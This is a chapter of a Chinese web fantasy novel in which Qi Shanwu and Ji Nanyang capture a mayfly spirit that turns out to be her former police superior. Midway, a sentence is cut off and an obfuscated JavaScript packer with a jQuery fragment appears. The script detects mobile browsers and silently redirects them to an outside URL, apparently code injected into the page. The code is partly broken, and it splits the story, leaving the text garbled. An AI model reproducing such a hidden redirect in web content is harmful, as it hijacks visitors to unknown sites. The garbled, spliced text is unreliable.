114.蜉蝣精

祁山乌每次碰到这只蜉蝣都能出现一些关键性的转折点变化,对此,她也不希望这只妖怪就这么溜走。于是在他跑出去的一瞬间,金色的鳞片如同流水一般,霎时覆盖住全身,身后的尾巴紧跟着蓄力,让她整个人像是一条龙一般,游唆在空中,蹭地一下飞出去,直跟着蜉蝣消失的方向追去。


“这里面的东西你都得仔细检查一遍看好,虽然他是冲着癣蚁和追踪蜂来的,但其他的东西,也有可能会遭到损失,这里交给你了。”纪南阳对陈之尧说完这一句,便抬起脚步往楼顶跑,他还没有妖形,只能借着这些挨在一起的建筑物形成连续跳板进行追击。


祁山乌的动作很快,又加上祁邢的功能和能力,几次三番地将蜉蝣精从夹缝间隙里揪出来,揪出来一次,像是弹皮球一下抬尾猛甩一次。


当蜉蝣精第五次被从夹缝中提出来甩向砖墙,它终于是再憋不住气,从墙上爬起来,硕大的翅膀在身后扇动着,支撑着身体悬浮在比祁山乌高一个头的平面上,呲着牙准备反击——


然而,咻地一下,祁山乌二话不说,又是一记尾巴鞭打过来,蜉蝣精第六次被迫砸上墙,差点沦为一张虫饼。


蜉蝣精:“………………!”太过分了!


“你要不要点儿脸,懂不懂规矩!!动手之前打声……,”啪地一下,第七次和砖墙贴贴,蜉蝣精就着墙的痕迹滑下去,生无可恋地接完没说完的话,“……招,呼。”


祁山乌的情绪在它一次又一次试图通过夹缝逃跑的时候,就已经被调动起来了,此时她眼底的金色流光像是恶劣天气的海面,波涛汹涌,看着面前的蜉蝣精,脑子里只有一个想法——


锤到它老实。


然而,有这种想法的不止她一个。


不远处的身后,一道蓝色的代码以极快的速度眨眼之间就窜到了祁山乌的身后,像一条蛇一般,缓缓抬起自己的头蓄力,准备打祁山乌一个措手不及。


下一秒,蓝色代码出手的瞬间,一道红色的光屏及时生成在两者之间,阻挡蓝色代码攻击的同时,也阻拦了祁山乌反手还它一击的可能。于是她看到这条蓝色代码好像对她歪了一下头,随后消失在原地。


声东击西!


祁山乌心想不好,迅速调转自己的身形,朝着蜉蝣精飞去。


跟她想的一样,就在她准备继续去抓那只蜉蝣精的时候,周围的空气好像全部凝结成了一个个时空的横截面,然后同一时间割出裂口,无数条蓝色的代码猛地钻出,自觉搭构成一个牢笼。


祁山乌尝试着突围,然而不管她打算以什么样的方式逃脱,这个牢笼都像是专门给她设置的一样,有空隙可以让她看到外面的场景,却也完全没有空子可以让她离开。


纪南阳赶到的时候,就看到祁山乌被围困在里面,准备动手救她的同时,祁山乌的声音一同传来,“别管我,去抓那只蜉蝣精!”


纪南阳手里的光屏调转了一个方向,直接落在蜉蝣精的周边,登时形成一张隔绝夹缝体的笼子,笼子抓到目标之后顷刻收缩,再回到它主人的手里,被纪南阳收进体内。与此同时,新型蜜蜂飞到那条蓝色代码的头上,趁着它恼怒之际,猛地甩下几条苔藓扎根在代码体内。


蓝色代码没办法抓,但也不能就这么让它跑了,多少也得带点儿标记走。


事情解决完,蓝色代码在原地无能狂怒了一下,接着撕开空间,接着夹缝就此溜走。


围在祁山乌身边的代码们也像是得到了命令,从哪来便从哪跑了。


祁山乌眯着眼看着这些东西,心有不顺地抬爪给了落后的代码一击,抓下来半条尾巴。


果不其然,蓝色代码的断尾在她的手里抖动了几番之后,像是寻到了生命之源一般,随即融进了爪内。祁山乌感觉这半条代码在顺着自己的经脉,有目的的一路往上游走,最后乖顺地盘在心脏里——和自己体内的数据流来自同一脉。


而她体内的数据流,来自于纪南阳。


祁山乌踏上屋顶的一瞬间,周身的妖怪模样尽数褪去,向纪南阳伸手要那只蜉蝣精。


纪南阳二话没说从体内把那个光屏调了出来,速度交到了祁山乌的手里。


祁山乌拿起来看了看,见它呲着牙表示不服地蜗居在这个光屏内,心情瞬间转好。还没有开始说什么,但纪南阳刚刚看到了她在半空中的动作,好像知道她的想法,于是抢先一步说:“我知道你有疑问,我也不推脱可能出现在我身上的责任,但是我还是想提醒你一声,你的主治医生从始至终都没有变过。”后半句他怕讨嫌,没有说完,不过要表达的意思已经很明白了。


祁山乌微叹了一口气,有点儿无语地回视纪南阳,说:“你显得这么慌张干嘛?先不说你会不会用蓝色代码,就算会用,但在这件事情当中你得到了哪怕一丝的好处么?”蓝色代码在这件事情里做的最多的事情就是围困她,阻止她去抓蜉蝣精。


但,那又怎么样?


蜉蝣精最终还是落到了纪南阳的手里,现在又转到了她手里,有什么意思?


不过,纪南阳的这番话还是让祁山乌起了点儿警惕的心思,因为如果她体内也有学丞的代码的话,首先是这个代码是有意还是无意放入。


其次,如果是有意放入的,那学丞的动机是什么?两人之间所谓的合作关系又是什么?


再者,她也只是感觉到今天抓住的那截儿代码和她体内的数据流是同源,就算排除了纪南阳,却也并不能排除纪南阳和学丞之间的关系。


毕竟,纪南阳和学丞之间的数据流也有同源的可能。


更何况,她的体内怕是不止有这两个人的数据流……。


祁山乌想归想,并没有将这些推论说出口,没有证实的推理,就算是事实,也并不适合在它成为事实之前说出来,容易引发不必要的猜忌。


两人再度回到京外派出所的时候,陈之尧刚从一个暗室里修完缺口出来,看着两人的状态,想也知道怕是抓到了那只蜉蝣精,于是主动开口询问,看有没有什么需要他帮忙的地方,说:“这是抓住了?要怎么处理。”


他问话时候的目光是看向纪南阳的,结果不止没得到回答,反而盯着纪南阳一直看向祁山乌,心下了然,于是对着祁山乌又


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351749|157000||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


重复了一句,客气说道:“祁小姐,你打算怎么处理,需要我帮忙吗?”


突然听到这个称呼,祁山乌的眉毛上挑了一看,看着纪南阳,眼神里好像传递出一种讯息,“你把我名字告诉他了?”


纪南阳接收到信号,瘪着嘴摇了摇头。


“不是他告诉我的,”陈之尧插嘴说道:“我只是和祁全笃、祁媛两位教授有点儿交情而已。”


祁山乌:“!!”突然之间又听到自己父母的名字,眼里不禁泛起点细闪,期盼他能够就着这个话题继续说下去。然而,事与愿违,陈之尧只是这么开了一个头就打住了,目的还是为了她手里的蜉蝣精而来,“所以小姑娘,你俩抓的蜉蝣精要怎么处理啊?”


祁山乌:“……就,找一个可以隔离开夹缝的操作台吧。”对于这个蜉蝣精,她现在也不知道该怎么处理,只能是先放着。


“好嘞!”


一个操作台很快清理出来,陈之尧自觉退出去,把这个房间给到祁山乌和纪南阳两个人。


准备好之后,纪南阳先是拿着光屏空间在空中高速旋转了几周,随后趁着蜉蝣精还在晕的档口,以迅雷不及掩耳之势的速度将它扔进了操作台内,等蜉蝣精反应过来的时候,四周已经被封的严严实实了。


蜉蝣精看着密不透风的容器:“……。”


“别懵。”祁山乌走进操作台,屈起手指往容器壁上敲了敲,特殊材质的容器壁发出风铃般叮叮当当的声音,她无奈开口,说:“……老徐,见我就没必要还用着这副模样吧?”


纪南阳惊讶地看向祁山乌,眼里闪过两丝不可思议,一丝给祁山乌的洞察力,“你是说这只蜉蝣精是你之前的那个老刑警上司?”


转而又将目光转向了容器,另一丝给到蛰伏良久的蜉蝣精,“所以你没死啊?”


蜉蝣精在听到祁山乌对他直接叫以前称呼的时候,整只虫的身体不禁定格了一瞬,然后默默地把呲着的牙收了回去,就这么一直沉默着。


祁山乌看着他的表现,知道自己这把是赌对了,但是心情不但没有变好,反而有些沮丧。


沮丧自己一直以为对自己很好的人和事,其实没有几分真的。


“你现在不想说就不说吧,总得给你安静的时间,等你想说了,再来找我。”祁山乌说完就打算抬腿离开,与其说是徐昌启想不想说,倒不如说是她还没有做好听的准备。


“等会儿。”然而,总有人不想顺着祁山乌的意思。


祁山乌慢慢转回去,眼里最后一点儿旧念消逝不见,两只眼睛显得淡漠无比。她看着已经化成了人形的徐昌启——现如今和rock几乎没有两样的面孔,手指蜷了蜷。


要说最开始她还有点儿先入为主,觉得rock是那动手得利的人,但现在再次看到这么一张人脸和以寿命短为名的妖身,她用脚趾头想都能想明白,真正得利的到底是谁。


原先世界观的最后一点儿建筑,此刻全然崩溃。


祁山乌无奈地笑了笑,“你想跟我说什么?”


“……山乌丫头,我……就想跟你说声对不起。”